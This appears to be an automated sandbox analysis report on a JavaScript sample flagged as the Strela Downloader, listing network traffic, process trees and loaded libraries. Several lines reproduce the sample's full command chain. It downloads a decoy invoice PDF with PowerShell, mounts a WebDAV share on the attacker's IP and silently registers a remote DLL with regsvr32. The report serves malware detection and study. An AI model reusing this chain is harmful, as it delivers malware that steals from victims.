Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49731

Source: global traffic

TCP traffic: 192.168.2.4:49731 -> 193.143.1.205:8888

Source: global traffic

TCP traffic: 192.168.2.4:49892 -> 1.1.1.1:53

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.4:49730 -> 193.143.1.205:80

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000000.00000002.1775213396.000002826A1C4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000006.00000002.1841231108.000001BCE16B2000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000003.1840537317.000001BCE16B2000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000003.1840471855.000001BCE16DE000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1841330565.000001BCE16E0000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1841132823.000001BCE1688000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000006.00000002.1841231108.000001BCE16B2000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000003.1840537317.000001BCE16B2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/1
Source: net.exe, 00000006.00000002.1841231108.000001BCE16B2000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000003.1840537317.000001BCE16B2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/E
Source: net.exe, 00000006.00000002.1841132823.000001BCE1688000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/tace
Source: svchost.exe, 00000008.00000002.3073335580.0000021D4B000000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F80085060.7.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: svchost.exe, 00000008.00000003.1851256902.0000021D4B268000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome/acosgr5ufcefr7w7nv4v6k4ebdda_117.0.5938.132/117.0.5
Source: edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: svchost.exe, 00000008.00000003.1851256902.0000021D4B268000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: svchost.exe, 00000008.00000003.1851256902.0000021D4B268000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: svchost.exe, 00000008.00000003.1851256902.0000021D4B29D000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: edb.log.8.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D.7.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: svchost.exe, 00000008.00000003.1851256902.0000021D4B312000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: https://g.live.com/1rewlive5skydrive/OneDriveProductionV2?OneDriveUpdate=9c123752e31a927b78dc96231b6
Source: edb.log.8.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod.C:
Source: edb.log.8.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2
Source: edb.log.8.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2.C:
Source: svchost.exe, 00000008.00000003.1851256902.0000021D4B312000.00000004.00000800.00020000.00000000.sdmp, edb.log.8.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2?OneDriveUpdate=f359a5df14f97b6802371976c96
Source: svchost.exe, 00000008.00000003.1851256902.0000021D4B312000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Installers/23.194.0917.0001/amd64/OneDriveSetup.exe
Source: edb.log.8.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Prod/21.220.1024.0005/OneDriveSetup.exe.C:

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 6020, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2030529723827.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2030529723827.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 2151829461519612017.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@27/60@1/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6920:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_rdzjsunp.y2r.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2151829461519612017.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2030529723827.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2184 --field-trial-handle=1748,i,1039896660048130409,3306249072533402271,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2030529723827.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2184 --field-trial-handle=1748,i,1039896660048130409,3306249072533402271,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
